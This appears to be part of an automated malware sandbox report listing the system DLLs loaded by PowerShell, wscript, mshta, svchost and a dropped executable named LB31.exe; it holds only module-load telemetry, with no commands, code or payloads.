Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\LB31.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\LB31.exe	Section loaded: winmm.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
